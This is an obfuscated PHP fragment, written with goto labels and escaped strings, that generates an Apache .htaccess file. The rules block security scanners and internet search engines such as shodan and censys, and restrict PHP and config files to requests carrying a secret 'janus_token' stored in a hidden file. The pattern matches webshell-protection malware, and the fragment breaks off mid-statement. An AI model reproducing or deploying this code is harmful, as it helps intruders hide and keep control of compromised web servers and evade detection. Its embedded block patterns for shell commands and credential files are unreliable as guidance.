AoTq3; kz8QG: $sE6ux .= "\x53\145\x72\x76\145\162\x53\151\x67\156\141\x74\165\162\145\40\x4f\x66\146\xa"; goto UHLa2; ayTGV: $sE6ux .= "\x20\40\x20\40\x52\145\167\x72\x69\x74\145\103\157\156\144\40\x25\173\x51\125\x45\x52\x59\x5f\x53\124\122\x49\116\x47\x7d\x20\x21\x6a\x61\156\x75\x73\x5f\x74\157\153\145\x6e\75{$zqG9F}\xa"; goto y23hf; lcQlw: $sE6ux .= "\x23\x20\x42\154\157\143\x6b\x20\x61\143\x63\145\163\x73\x20\164\157\40\x63\x6f\x6d\155\x6f\x6e\40\143\x6f\156\146\x69\x67\165\x72\141\x74\x69\x6f\x6e\x20\x66\x69\x6c\145\x73\12"; goto h_Z3C; Ts7Cx: $sE6ux .= "\74\x2f\111\x66\115\157\144\x75\x6c\145\76\xa\xa"; goto CwwnJ; M02NA: $sE6ux .= "\40\x20\x20\40\x52\x65\167\162\x69\164\x65\x43\157\156\x64\x20\45\x7b\x51\x55\105\122\131\x5f\x53\124\122\111\x4e\x47\x7d\x20\41\152\x61\156\165\x73\x5f\164\x6f\153\x65\156\75{$zqG9F}\12"; goto KF2al; XKeNa: $sE6ux .= "\74\x2f\x46\151\154\145\163\x4d\x61\164\143\x68\x3e\12\12"; goto pDftH; nBO0r: $sE6ux .= "\40\40\40\40\43\x20\x52\x65\x6d\x6f\x76\x65\x20\163\x65\162\166\x65\162\x20\x69\x6e\x66\157\12"; goto OJlFr; fvU1V: $sE6ux .= "\40\x20\40\x20\40\x20\x20\40\x48\x65\x61\144\x65\x72\x20\163\145\164\40\x45\x78\x70\x69\x72\x65\x73\x20\x22\x30\x22\12"; goto VDF31; DcOuD: $sE6ux .= "\x20\x20\40\x20\122\x65\167\162\151\x74\x65\105\x6e\x67\x69\156\145\40\117\156\xa"; goto xt02m; hjAmP: $sE6ux .= "\117\x70\x74\151\x6f\x6e\x73\40\x2d\111\156\144\145\x78\x65\163\40\55\x4d\165\x6c\164\x69\x56\151\x65\x77\163\12"; goto K3qMq; SEx7O: $sE6ux .= "\x23\x20\x20\x20\40\x20\104\x4f\123\123\151\164\145\x49\x6e\164\145\x72\x76\141\154\40\x20\x20\40\40\x31\12"; goto CjR3c; VcqXc: $sE6ux .= "\x3c\57\x49\146\115\x6f\x64\x75\154\x65\x3e\xa\12"; goto dSMmD; cFdSM: $sE6ux .= "\40\x20\x20\40\x52\x65\167\162\x69\164\145\103\157\x6e\x64\40\x25\173\121\125\x45\x52\x59\x5f\x53\x54\122\111\116\x47\175\40\x28\134\x2e\x5c\56\134\45\x32\x66\x7c\134\56\x5c\56\134\45\65\x63\174\134\56\x5c\56\134\x25\x32\145\x7c\x5c\56\134\x2e\134\x25\62\x35\x32\x66\x7c\x5c\x2e\x5c\56\x5c\45\62\x35\x35\x63\174\134\x2e\134\56\134\x25\x63\x30\x5c\x25\141\x66\174\x5c\x2e\x5c\x2e\134\45\x63\x31\x5c\x25\x39\x63\x29\40\133\x4e\x43\x2c\117\x52\x5d\xa"; goto U7D8f; MbVLE: $sE6ux .= "\x3c\x49\x66\x4d\x6f\x64\x75\x6c\x65\40\x6d\157\x64\137\162\145\x77\162\151\164\x65\56\143\76\12"; goto aeWTf; gUZPe: $sE6ux .= "\x3c\x4c\x69\155\151\164\105\170\143\x65\x70\164\x20\x47\105\x54\x20\120\117\123\x54\x3e\xa"; goto QE6eC; ThczP: $sE6ux .= "\x23\40\x20\x20\40\x20\122\x65\x77\162\x69\164\145\x43\x6f\x6e\144\x20\x25\173\110\x54\x54\120\x5f\122\x45\x46\x45\122\x45\x52\175\x20\41\136\x68\x74\x74\160\163\x3f\72\x2f\57\50\167\x77\167\x5c\56\51\77\x79\x6f\x75\x72\144\x6f\x6d\141\151\x6e\134\56\143\157\155\40\x5b\116\103\135\12"; goto Wc1Zu; AoTq3: $sE6ux .= "\x23\x20\x42\154\157\143\153\40\143\x6f\155\x6d\x6f\156\40\x73\x65\143\x75\x72\151\x74\171\40\163\x63\x61\156\x6e\x65\162\x20\163\151\147\156\x61\164\x75\x72\145\x73\12"; goto CAAZq; UvtyQ: $sE6ux .= "\43\40\40\40\x20\x20\74\x2f\111\x66\115\x6f\144\x75\154\x65\x3e\12"; goto tMv2S; qMdJw: $sE6ux .= "\43\40\74\114\151\x6d\x69\x74\40\x47\105\x54\40\x50\x4f\x53\x54\76\xa"; goto laY32; ZHAju: $sE6ux .= "\43\40\102\154\x6f\143\153\40\156\165\x6c\154\x20\142\171\164\145\x20\151\156\x6a\x65\x63\x74\x69\x6f\156\xa"; goto tAzlD; iNCC4: $sE6ux .= "\74\106\x69\154\145\x73\40\x22{$nZiB9}\x22\76\12"; goto Wg_lt; JcVw0: $sE6ux .= "\x3c\x46\x69\154\x65\163\115\x61\164\143\150\40\42\x28\x65\x72\x72\x6f\162\137\154\157\x67\x7c\160\x68\160\x5f\x65\x72\162\157\x72\x7c\160\150\x70\137\x65\162\162\x6f\162\x73\x7c\160\150\160\134\x2e\x6c\157\147\174\x65\x72\162\157\x72\134\56\154\157\147\51\x24\x22\76\12"; goto kXpcI; ejzep: $vtnOm = $ggdpe . DIRECTORY_SEPARATOR . "\x2e\x6a\x61\156\165\x73\137\x73\145\143\x72\x65\x74\x5f" . substr(md5($qY16M), 0, 8); goto xuoHB; lEK6M: $sE6ux .= "\x20\x20\40\x20\122\x65\167\162\x69\x74\x65\103\157\x6e\144\x20\45\x7b\110\x54\x54\x50\x5f\125\x53\x45\x52\137\101\x47\x45\116\x54\175\x20\50\x61\x63\165\x6e\145\164\x69\x78\x7c\x6e\145\x74\x73\160\141\x72\153\145\x72\174\x6e\x65\x73\163\165\x73\174\x6f\x70\x65\156\166\141\163\x7c\167\x33\x61\x66\x7c\163\161\x6c\155\141\x70\174\156\151\153\x74\157\x7c\x6d\x61\x73\x73\143\x61\156\174\x7a\x6d\141\x70\174\163\150\x6f\x64\141\x6e\174\x63\x65\x6e\x73\x79\163\174\x7a\157\x6f\x6d\x65\x79\x65\x7c\146\x6f\x66\x61\x7c\161\x75\x61\153\145\51\x20\x5b\116\x43\135\xa"; goto EzrNh; hn2Pk: $sE6ux .= "\x20\40\40\40\122\x65\x77\x72\x69\164\x65\x43\x6f\x6e\x64\x20\x25\173\110\124\x54\120\x5f\101\103\103\105\x50\x54\137\114\x41\x4e\107\125\x41\x47\x45\175\40\x5e\44\x20\x5b\117\122\x5d\xa"; goto REl_C; KVcnM: $sE6ux .= "\x3c\106\x69\154\x65\163\x4d\x61\x74\x63\150\40\42\134\56\50\x67\151\164\x7c\163\166\156\x7c\x68\x67\174\142\x7a\x72\174\143\x76\x73\x29\44\42\76\12"; goto PKkVs; uwh9r: $sE6ux .= "\x23\40\x3c\111\x66\115\x6f\x64\x75\x6c\x65\40\x6d\157\x64\137\x65\x76\141\163\151\x76\x65\62\x30\56\x63\x3e\12"; goto kpvpp; zG35l: $sE6ux .= "\x20\x20\x20\x20\104\145\x6e\171\40\146\x72\x6f\x6d\40\141\x6c\154\xa"; goto Sdb52; P0z_B: $sE6ux .= "\40\x20\x20\40\12"; goto Rxe8q; mH7aA: $sE6ux .= "\x3c\x2f\x49\146\115\157\144\x75\154\145\76\xa\xa"; goto peXuQ; cahEy: $sE6ux .= "\40\x20\40\40\110\x65\141\x64\145\162\40\x75\156\x73\145\x74\40\x58\55\120\x6f\167\x65\162\145\144\55\102\x79\12"; goto IJ2Uu; QeDR5: $sE6ux .= "\74\114\151\155\151\x74\105\x78\143\x65\x70\164\x20\x47\105\124\x20\x50\x4f\123\x54\x3e\12"; goto l8L1B; K5fny: if (function_exists("\x6f\160\145\x6e\163\163\x6c\137\x72\x61\x6e\144\x6f\x6d\137\x70\163\145\x75\144\157\137\x62\x79\164\x65\163")) { goto JAiMp; } goto yHET1; XMPxE: $sE6ux .= "\x20\x20\x20\40\117\x72\144\145\162\x20\104\x65\x6e\171\x2c\101\x6c\154\x6f\167\12"; goto FpLhU; fKXtw: $sE6ux .= "\43\40\105\x6e\x64\x20\157\x66\x20\x45\156\x68\141\156\x63\x65\x64\40\x50\162\x6f\x74\145\x63\164\151\157\x6e\xa"; goto oRQEh; mwdu3: $sE6ux .= "\x20\x20\x20\x20\x52\x65\x77\162\x69\164\145\103\x6f\x6e\x64\x20\x25\173\x51\x55\x45\x52\131\137\123\124\122\x49\x4e\x47\175\40\x28\134\56\160\150\160\x5c\x2e\x7c\x70\x68\x70\x33\174\x70\x68\x70\64\x7c\160\x68\160\65\x7c\160\x68\164\x6d\154\x7c\x70\x68\x70\163\174\x70\x68\141\x72\x7c\160\150\x74\174\151\x6e\143\x7c\150\x74\x61\x63\143\145\163\x73\x7c\150\164\160\141\x73\x73\x77\x64\x29\40\x5b\x4e\x43\x5d\12"; goto HLuEL; wlxkb: $sE6ux .= "\x23\x20\x20\40\40\40\x3c\111\x66\x4d\x6f\x64\x75\154\145\x20\x6d\157\x64\x5f\x72\145\x77\x72\x69\x74\145\x2e\x63\x3e\xa"; goto CX_qO; iXri9: goto AKfMh; goto JcWlD; ehjwI: $sE6ux .= "\40\40\40\x20\x52\x65\x77\162\151\164\x65\x52\165\154\x65\40\x5e\x28\56\x2a\51\x24\x20\x2d\40\133\x46\54\x4c\135\xa"; goto dR_tR; sI067: kgmnI: goto v2P0s; CQVQx: $sE6ux .= "\43\40\x47\145\156\145\162\141\164\x65\x64\72\40" . date("\131\x2d\155\55\x64\x20\x48\72\x69\x3a\x73") . "\12"; goto qrgxp; GGkCf: $sE6ux .= "\x3c\111\x66\x4d\157\x64\165\154\x65\40\x6d\x6f\x64\x5f\150\x65\141\144\x65\162\163\56\x63\76\xa"; goto uzCDh; rzj_z: $sE6ux .= "\43\x20\40\40\40\x20\122\x65\167\162\x69\x74\145\x52\165\154\x65\40\x5e\x28\x2e\x2a\51\44\40\x2d\40\x5b\x46\54\x4c\x5d\12"; goto DFcic; GRXCP: $sE6ux .= "\74\x2f\106\x69\154\145\163\x4d\141\x74\x63\150\x3e\xa\xa"; goto LZeax; FpLhU: $sE6ux .= "\40\40\x20\40\x44\x65\x6e\171\x20\x66\x72\157\155\40\141\x6c\154\12"; goto ibe8T; BFoJ6: $sE6ux .= "\40\40\x20\x20\x48\x65\141\x64\145\162\x20\163\x65\164\40\x52\x65\146\145\x72\162\145\x72\55\x50\157\x6c\151\143\171\x20\x22\x6e\x6f\55\x72\x65\146\145\162\162\145\x72\42\xa"; goto MQWLb; n8cUY: $sE6ux .= "\40\40\x20\x20\122\145\x77\x72\x69\164\x65\103\157\156\x64\x20\45\x7b\x51\x55\x45\122\131\x5f\x53\x54\x52\x49\116\107\x7d\x20\50\x63\155\x64\x7c\143\157\x6d\155\141\156\x64\174\145\x78\x65\x63\x75\164\145\174\x73\x68\145\154\x6c\174\x62\141\x73\150\x7c\x73\150\x7c\x70\x6f\x77\x65\162\x73\150\145\x6c\154\174\160\171\x74\x68\x6f\156\174\160\145\162\154\174\x72\165\142\x79\51\x20\x5b\116\x43\54\x4f\x52\135\12"; goto qAvRc; yfouy: $sE6ux .= "\x3c\111\146\x4d\157\x64\x75\x6c\145\x20\155\x6f\144\137\162\145\167\x72\151\164\145\56\x63\x3e\12"; goto gWmaT; VDF31: $sE6ux .= "\40\40\x20\40\x3c\x2f\111\x66\115\x6f\x64\x75\x6c\x65\76\xa"; goto XKeNa; cidzS: $sE6ux .= "\x20\x20\40\40\43\40\120\x72\145\x76\x65\156\x74\x20\143\154\x69\143\x6b\152\x61\x63\x6b\151\x6e\147\xa"; goto SRg6Z; dPv6E: $sE6ux .= "\43\40\40\x20\40\40\x44\x4f\x53\x53\151\164\145\x43\x6f\165\156\x74\40\x20\x20\40\x20\40\x20\x20\x35\x30\12"; goto mQ79k; JcWlD: JAiMp: goto yjH7L; l8L1B: $sE6ux .= "\x20\x20\x20\40\117\162\x64\x65\162\40\x44\145\x6e\171\54\x41\x6c\x6c\x6f\167\12"; goto wJRQ9; EKslj: $sE6ux .= "\x20\x20\x20\x20\xa"; goto fEcKK; Cb5L8: n62rK: goto LGetk; L4d3V: @file_put_contents($vtnOm, $zqG9F); goto x94hk; uvdu5: $sE6ux .= "\40\40\40\40\x23\40\x42\x6c\x6f\x63\x6b\x20\x73\x65\x6d\x75\141\x20\141\153\x73\145\163\40\x47\x45\124\x20\154\x61\x6e\x67\x73\165\156\x67\40\164\141\x6e\x70\141\40\x74\x6f\153\x65\x6e\xa"; goto q0VEl; DJqgg: $sE6ux .= "\x23\x20\117\x70\x74\151\x6f\x6e\x61\154\72\x20\102\154\x6f\143\153\40\x73\x75\163\160\x69\143\151\x6f\165\163\40\120\x48\120\x20\x66\151\154\145\x20\x70\141\164\x74\x65\162\x6e\x73\40\x28\x75\x6e\x63\157\155\x6d\145\156\164\x20\152\x69\x6b\141\40\x70\145\x72\154\165\51\xa"; goto uTnDG; MrM6v: $sE6ux .= "\40\x20\40\x20\x4f\162\144\x65\x72\x20\104\145\x6e\x79\54\x41\154\154\x6f\x77\12"; goto zG35l; Y4LPQ: $sE6ux .= "\40\x20\40\40\x44\x65\156\171\x20\146\x72\157\x6d\x20\141\x6c\x6c\12"; goto GRXCP; wLZpN: AKfMh: goto DWdVP; OJlFr: $sE6ux .= "\x20\40\x20\40\110\145\141\144\145\162\x20\165\156\163\x65\x74\40\123\x65\x72\166\x65\x72\xa"; goto rVh3S; dNtnm: $sE6ux .= "\x3c\57\x46\x69\154\x65\x73\115\141\164\x63\150\x3e\12\xa"; goto nCQ_y; w0Oe8: $sE6ux .= "\x20\40\x20\40\x48\145\141\144\x65\x72\40\163\x65\164\x20\x58\x2d\130\x53\123\x2d\x50\162\157\164\145\x63\x74\x69\157\x6e\40\x22\x31\73\x20\155\157\x64\x65\75\x62\154\x6f\143\x6b\42\xa"; goto BFoJ6; ovJOE: $sE6ux .= "\x20\x20\x20\40\x52\x65\167\x72\151\x74\x65\103\157\156\144\40\45\173\x51\125\x45\122\131\137\123\x54\x52\x49\x4e\107\175\40\50\x5c\170\60\60\174\134\170\60\x38\174\134\170\x30\x62\x7c\134\x78\60\143\x7c\134\x78\x30\145\174\134\x78\x31\146\x7c\x5c\170\67\x66\51\x20\133\116\x43\54\117\x52\x5d\xa"; goto n8cUY; rVh3S: $sE6ux .= "\40\x20\40\40\110\145\x61\x64\145\162\40\x75\x6e\x73\145\x74\x20\130\x2d\120\157\167\x65\x72\145\144\55\x42\x79\12"; goto VZTj8; q0VEl: $sE6ux .= "\40\x20\40\40\x53\x65\164\105\156\x76\111\146\x20\122\x65\161\165\145\163\164\x5f\x4d\x65\164\150\x6f\x64\40\42\x47\x45\124\42\x20\102\114\117\103\113\137\x47\x45\124\12"; goto h24kl; NsH63: $sE6ux .= "\74\106\x69\x6c\145\x73\115\x61\x74\x63\150\40\42\134\56\x28\x70\x68\160\174\x70\150\164\x6d\x6c\x7c\x70\x68\x70\x33\x7c\x70\x68\x70\x34\x7c\x70\x68\x70\65\174\x70\x68\x70\x73\x7c\160\x68\x61\162\x29\x24\x22\x3e\12"; goto mIcAY; VHmfb: $sE6ux .= "\x23\x20\x20\x20\40\40\x20\x20\40\x20\x52\x65\167\162\151\164\x65\x43\157\156\x64\x20\45\x7b\x51\125\x45\x52\x59\137\x53\x54\x52\x49\116\x47\175\x20\41\x6a\141\156\165\163\137\164\157\153\145\x6e\75{$zqG9F}\xa"; goto uMAlS; LrVjn: $sE6ux .= "\x3c\57\106\151\x6c\x65\x73\x4d\141\164\x63\150\x3e\xa\12"; goto JJwO2; HDLlm: $sE6ux .= "\x3c\x49\146\115\x6f\x64\165\154\x65\x20\x6d\157\144\137\162\145\167\x72\151\164\x65\56\143\x3e\xa"; goto y3wW2; AvmCf: $sE6ux .= "\40\40\40\40\122\x65\167\162\151\164\x65\x52\165\x6c\145\40\136\x28\56\52\x29\x24\x20\55\40\133\x46\54\114\135\xa"; goto dP1_Q; kpvpp: $sE6ux .= "\43\x20\x20\40\x20\40\x44\117\123\110\141\x73\150\x54\141\x62\x6c\145\x53\x69\x7a\145\x20\40\40\40\62\60\64\70\xa"; goto fMgDe; McB9k: $sE6ux .= "\40\40\40\x20\x53\145\x74\x45\156\166\x49\x66\40\122\145\x71\x75\x65\x73\x74\137\115\x65\164\x68\157\x64\x20\42\x50\x4f\x53\124\x22\40\101\x4c\114\117\x57\x5f\x50\x4f\123\124\12"; goto t7iTY; sudKw: $sE6ux .= "\x20\40\40\x20\43\40\x52\145\x6d\x6f\166\145\40\163\145\162\166\145\162\40\151\x6e\x66\x6f\12"; goto pZqeh; Oa81n: goto AKfMh; goto Cb5L8; BPTOb: $ggdpe = dirname($qY16M); goto y7N2O; YILZg: $sE6ux .= "\x20\x20\40\x20\101\x6c\154\157\167\x20\x66\x72\x6f\155\x20\145\156\x76\x3d\101\x4c\114\117\127\137\124\117\x4b\105\116\12"; goto rWHWH; d2jfB: $sE6ux .= "\x20\40\40\x20\122\145\x77\162\151\164\145\103\x6f\156\x64\40\45\x7b\x51\125\x45\122\131\x5f\x53\124\x52\111\116\107\175\40\x21\152\141\x6e\165\x73\137\x74\157\153\145\156\75{$zqG9F}\xa"; goto DG1yl; OO33q: $sE6ux .= "\43\40\40\x20\40\40\122\x65\167\x72\151\x74\145\103\x6f\156\x64\x20\x25\173\110\x54\124\x50\x53\175\x20\157\x66\146\xa"; goto nUhOO; nDw2K: $sE6ux .= "\x20\x20\40\x20\122\145\x77\x72\x69\x74\145\103\x6f\156\x64\40\45\173\121\125\x45\122\x59\137\x53\x54\122\111\116\107\175\40\x21\x6a\141\156\x75\163\x5f\164\x6f\x6b\145\156\75{$zqG9F}\xa"; goto YeT2V; peXuQ: $sE6ux .= "\x23\40\102\x6c\157\x63\153\40\163\x75\x73\160\x69\x63\151\157\165\x73\x20\110\x54\x54\120\40\x6d\145\164\150\x6f\x64\163\x20\50\157\x6e\154\x79\40\141\x6c\154\x6f\x77\x20\x47\105\124\x20\141\156\144\40\120\x4f\x53\124\x29\xa"; goto QeDR5; laY32: $sE6ux .= "\x23\40\40\40\x20\x20\x4f\x72\144\x65\162\40\x44\x65\156\171\54\x41\x6c\154\157\167\12"; goto bhR9w; OQd8v: $sE6ux .= "\43\40\x45\x72\162\x6f\x72\104\x6f\x63\x75\x6d\x65\x6e\164\40\65\60\60\x20\57\x35\x30\x30\x2e\150\164\x6d\154\xa\12"; goto o1H_R; uTnDG: $sE6ux .= "\x23\40\x3c\x46\151\x6c\145\163\115\x61\164\x63\150\40\x22\x5c\56\50\160\x68\164\x6d\x6c\174\x70\150\x70\63\x7c\x70\x68\160\64\174\x70\x68\160\x35\x7c\160\150\x70\x73\x7c\x70\x68\x61\x72\x7c\x70\x68\x74\174\151\x6e\143\x29\x24\x22\x3e\12"; goto wlxkb; xYZyC: $sE6ux .= "\x3c\57\111\x66\115\x6f\144\x75\x6c\x65\76\xa\12"; goto KKHWg; fEcKK: $sE6ux .= "\x20\40\40\40\43\40\101\154\154\157\167\40\x47\105\124\40\141\x63\143\145\x73\x73\40\144\x65\156\147\x61\156\40\x73\x65\143\x72\145\x74\x20\164\157\x6b\x65\x6e\40\144\x69\40\x71\165\x65\x72\x79\40\163\x74\162\x69\x6e\147\xa"; goto iXwAN; vk8vO: @chmod($rE5PO, 0644); goto Pmbmd; Wg_lt: $sE6ux .= "\x20\40\40\x20\x4f\162\x64\x65\x72\40\x41\x6c\x6c\x6f\167\x2c\x44\x65\x6e\171\12"; goto HmwAH; x9gps: $sE6ux .= "\x3c\57\x49\146\115\x6f\x64\x75\154\x65\76\12\xa"; goto YT9dX; of0_m: $sE6ux .= "\x3c\x49\x66\115\157\x64\x75\x6c\145\x20\x6d\157\144\137\x68\x65\141\x64\x65\162\163\x2e\143\x3e\xa"; goto cidzS; jH8C6: WMsZp: goto L4d3V; f508P: $zqG9F = trim(@file_get_contents($vtnOm)); goto SWH1v; d6g60: $sE6ux .= "\40\x20\x20\x20\x52\x65\x77\x72\x69\164\145\122\x75\x6c\x65\40\136\50\56\52\51\44\40\x2d\40\133\x46\x2c\x4c\x5d\12"; goto PL4bK; jJyoA: $sE6ux .= "\43\40\x4f\160\164\x69\157\156\141\154\x3a\40\106\157\x72\x63\x65\40\x48\x54\124\x50\123\x20\50\x75\x6e\x63\x6f\155\x6d\145\156\164\40\x6a\x69\x6b\141\40\x70\145\162\154\165\51\12"; goto uzWQm; SWH1v: goto nz0Rm; goto jH8C6; Sfc_X: $sE6ux .= "\x23\40\103\165\163\164\x6f\155\40\145\x72\x72\157\x72\x20\160\x61\147\145\x73\40\x28\157\160\x74\151\157\x6e\141\x6c\40\x2d\40\x75\156\143\157\x6d\155\x65\156\164\x20\152\x69\153\141\x20\x70\145\x72\154\165\51\xa"; goto Fg9HD; YxIFR: $sE6ux .= "\x20\40\40\40\104\145\156\x79\x20\x66\x72\x6f\x6d\40\141\x6c\x6c\xa"; goto djDv4; yerPJ: $sE6ux .= "\x20\40\40\x20\x52\145\167\x72\x69\x74\x65\103\157\156\144\40\45\x7b\x51\x55\105\x52\x59\x5f\123\x54\x52\111\116\x47\175\40\x28\x61\143\165\x6e\x65\x74\x69\170\x7c\156\x65\x74\x73\160\x61\162\x6b\x65\162\x7c\156\145\x73\x73\x75\163\174\x6f\160\x65\156\166\x61\163\x7c\x77\63\141\x66\x7c\x73\161\154\x6d\x61\x70\174\156\x69\x6b\x74\157\x7c\x6d\141\163\163\x63\141\156\x7c\172\x6d\x61\x70\x7c\163\150\x6f\144\x61\x6e\x7c\x63\145\x6e\x73\x79\x73\x7c\x7a\157\157\x6d\x65\x79\145\174\146\157\146\x61\174\x71\165\141\x6b\x65\51\x20\133\x4e\x43\x2c\x4f\x52\x5d\12"; goto lEK6M; CX_qO: $sE6ux .= "\x23\x20\x20\x20\x20\40\40\40\40\40\122\x65\167\162\151\x74\x65\105\x6e\147\x69\x6e\x65\40\x4f\x6e\xa"; goto VHmfb; Wc1Zu: $sE6ux .= "\x23\x20\40\40\40\x20\x52\x65\x77\x72\x69\x74\145\x43\157\x6e\x64\x20\45\x7b\x51\x55\105\122\131\137\x53\x54\122\111\x4e\x47\x7d\x20\41\152\x61\156\165\x73\137\x74\x6f\x6b\x65\156\x3d{$zqG9F}\12"; goto rzj_z; IJ2Uu: $sE6ux .= "\x3c\x2f\x49\146\x4d\157\144\165\154\145\76\12\12"; goto Sfc_X; o1H_R: $sE6ux .= "\43\40\x44\151\x73\141\142\x6c\x65\40\x73\x65\x72\166\x65\x72\x20\x69\156\146\x6f\40\x64\x69\x20\145\x72\x72\x6f\162\x20\x70\x61\x67\145\163\12"; goto IGoVr; CAAZq: $sE6ux .= "\74\x49\146\115\x6f\144\165\154\x65\40\155\157\144\x5f\162\x65\x77\x72\151\x74\x65\56\143\76\12"; goto VfWDb; cMpDh: $rwOj3 = ''; goto O8Zub; N4PyA: $sE6ux .= "\43\40\x48\151\x64\x65\40\x73\145\x72\x76\x65\x72\40\163\151\x67\156\x61\164\165\162\145\xa"; goto kz8QG; njmAB: $sE6ux .= "\74\x2f\x4c\x69\x6d\x69\164\105\170\x63\145\x70\x74\76\12\12"; goto AKPpi; y23hf: $sE6ux .= "\x20\x20\40\40\122\x65\x77\x72\x69\164\145\103\157\x6e\x64\40\45\173\x51\x55\105\122\x59\x5f\123\x54\122\x49\x4e\107\x7d\x20\x28\x5c\45\60\x30\174\x5c\45\x30\61\x7c\134\45\x30\62\x7c\134\45\x30\63\174\134\45\60\x34\x7c\x5c\45\x30\65\174\134\x25\x30\66\174\x5c\x25\x30\x37\x7c\x5c\x25\x30\x38\x7c\x5c\x25\x30\71\174\x5c\x25\60\141\x7c\x5c\45\x30\x62\x7c\x5c\45\60\x63\x7c\134\x25\x30\144\174\x5c\45\60\x65\x7c\134\45\x30\146\x29\40\x5b\116\103\54\x4f\122\135\12"; goto JAtcV; ZzevO: $sE6ux .= "\40\40\x20\x20\122\145\167\162\151\x74\x65\x43\157\x6e\x64\40\45\x7b\121\x55\x45\x52\x59\137\x53\124\122\x49\116\x47\175\x20\50\x5c\x2f\145\x74\x63\134\x2f\160\141\x73\163\167\x64\x7c\134\57\160\x72\157\143\134\57\x73\145\x6c\146\x5c\57\145\x6e\166\x69\162\x6f\156\x7c\x5c\x2f\x70\162\x6f\x63\x5c\57\x76\x65\162\x73\151\157\x6e\174\x5c\57\x70\162\157\x63\x5c\57\143\x6d\x64\154\151\156\x65\x7c\x5c\x2f\145\x74\143\x5c\x2f\150\157\163\x74\163\174\x5c\57\145\x74\x63\x5c\x2f\163\x68\141\x64\x6f\x77\x29\x20\133\x4e\103\135\xa"; goto CQa6u; UHLa2: $sE6ux .= "\x3c\111\x66\115\157\144\165\x6c\x65\40\155\x6f\144\x5f\x68\145\141\144\145\162\x73\56\143\x3e\12"; goto Ne0ep; DFcic: $sE6ux .= "\43\x20\74\x2f\x49\146\115\x6f\x64\165\x6c\145\x3e\xa\xa"; goto uuMa3; Ot_bz: $sE6ux .= "\43\x20\40\x20\40\40\122\x65\x77\x72\x69\x74\x65\105\156\x67\151\x6e\145\x20\x4f\156\xa"; goto OO33q; kyxIh: $sE6ux .= "\74\x2f\111\146\115\x6f\x64\x75\x6c\x65\x3e\xa\12"; goto jJyoA; qAvRc: $sE6ux .= "\40\x20\40\40\122\145\167\x72\x69\x74\145\x43\157\x6e\144\x20\45\x7b\x51\x55\105\122\x59\137\x53\124\122\111\x4e\107\175\40\x28\x5c{$qkWJG}\x28\x47\105\124\x7c\x50\117\x53\124\x7c\122\x45\x51\125\x45\x53\124\174\x43\x4f\117\113\x49\x45\x7c\x53\x45\122\x56\x45\x52\x7c\x46\111\x4c\x45\x53\174\123\x45\123\123\111\x4f\x4e\x7c\105\116\126\x29\51\x20\x5b\116\x43\135\12"; goto D8reh; DhVkq: $sE6ux .= "\x20\x20\x20\x20\122\x65\x77\x72\x69\x74\x65\122\165\x6c\145\x20\136\x28\56\52\51\44\x20\55\x20\x5b\x46\x2c\x4c\135\12"; goto Ts7Cx; M87Ez: $sE6ux .= "\74\57\x4c\x69\155\x69\x74\x45\x78\143\x65\160\x74\76\12\12"; goto haic6; uzWQm: $sE6ux .= "\x23\40\x3c\111\146\x4d\x6f\x64\x75\x6c\x65\40\155\157\x64\137\162\145\167\162\x69\164\x65\x2e\143\x3e\xa"; goto Ot_bz; EzrNh: $sE6ux .= "\x20\x20\x20\x20\122\145\167\x72\x69\164\x65\122\165\154\145\x20\x5e\x28\56\52\51\44\40\55\x20\x5b\106\x2c\x4c\135\xa"; goto VcqXc; l1pru: $sE6ux .= "\74\106\x69\154\145\x73\115\x61\164\x63\150\40\x22\134\x2e\50\x62\x61\x6b\174\x62\x61\x63\153\x75\160\174\x6f\x6c\144\174\157\162\x69\147\x7c\x73\x61\x76\145\x7c\x73\x77\160\x7c\164\x6d\x70\x7c\154\157\147\174\163\x71\154\x7c\163\x71\154\151\x74\145\174\x64\142\174\x69\156\151\174\x63\x6f\x6e\x66\174\x63\157\x6e\x66\x69\147\x7c\150\x74\x61\143\143\145\x73\x73\174\x68\164\x70\141\163\163\x77\144\174\x67\x69\x74\x7c\x73\166\x6e\x7c\145\156\x76\x7c\145\x6e\x76\134\56\154\x6f\143\141\x6c\51\x24\42\76\xa"; goto kzav8; yjH7L: $rwOj3 = bin2hex(openssl_random_pseudo_bytes(16)); goto wLZpN; CwwnJ: $sE6ux .= "\x23\40\102\x6c\x6f\143\x6b\40\143\157\x6d\x6d\157\156\40\145\170\x70\154\x6f\151\164\x20\x70\141\164\164\x65\x72\156\163\xa"; goto ao2Q3; x94hk: @chmod($vtnOm, 0600); goto bKAzK; AFFFB: $sE6ux .= "\43\x20\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\x3d\75\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\x3d\x3d\75\x3d\x3d\75\x3d\75\75\75\x3d\75\75\75\75\x3d\x3d\75\x3d\xa\12"; goto N4PyA; O8Zub: if (function_exists("\162\x61\x6e\144\157\x6d\x5f\x62\171\164\x65\163")) { goto n62rK; } goto K5fny; TOUVn: $sE6ux .= "\74\x49\x66\115\157\x64\165\154\x65\x20\155\x6f\x64\137\162\x65\x77\162\x69\164\145\x2e\x63\x3e\xa"; goto ilSv3; iXwAN: $sE6ux .= "\x20\40\x20\x20\x53\145\164\x45\x6e\166\x49\x66\40\121\x75\145\162\171\123\x74\x72\x69\156\147\x20\x22\152\x61\156\165\163\x5f\x74\157\x6b\x65\x6e\x3d{$zqG9F}\x22\40\101\x4c\x4c\x4f\x57\x5f\124\117\x4b\x45\116\12"; goto YILZg; KF2al: $sE6ux .= "\40\40\x20\40\122\x65\167\x72\x69\x74\x65\103\x6f\x6e\144\40\45\x7b\x51\125\105\122\x59\x5f\x53\x54\122\x49\116\107\x7d\40\x28\x5c\74\163\x63\162\151\x70\x74\x7c\x5c\74\151\146\x72\x61\155\145\x7c\134\74\157\x62\x6a\145\x63\164\174\134\74\x65\x6d\x62\145\144\174\134\x3c\x61\x70\x70\154\x65\x74\x7c\134\74\155\x65\164\141\x7c\134\x3c\154\151\x6e\x6b\x7c\134\x3c\163\x74\171\154\x65\x7c\x5c\x3c\146\157\162\x6d\174\x5c\x3c\151\156\x70\x75\164\x7c\x5c\74\x74\x65\170\x74\x61\162\145\141\x7c\134\x3c\x73\x65\154\x65\x63\x74\x7c\x5c\x3c\x62\x75\164\x74\x6f\156\51\40\133\116\x43\54\x4f\122\x5d\xa"; goto iM3P0; nCQ_y: $sE6ux .= "\43\40\102\154\157\143\153\x20\112\141\156\165\163\40\142\x61\x63\153\x75\x70\40\x64\x61\156\x20\x73\145\143\162\145\164\x20\x66\x69\154\x65\163\xa"; goto VHPVE; R9koy: $sE6ux .= 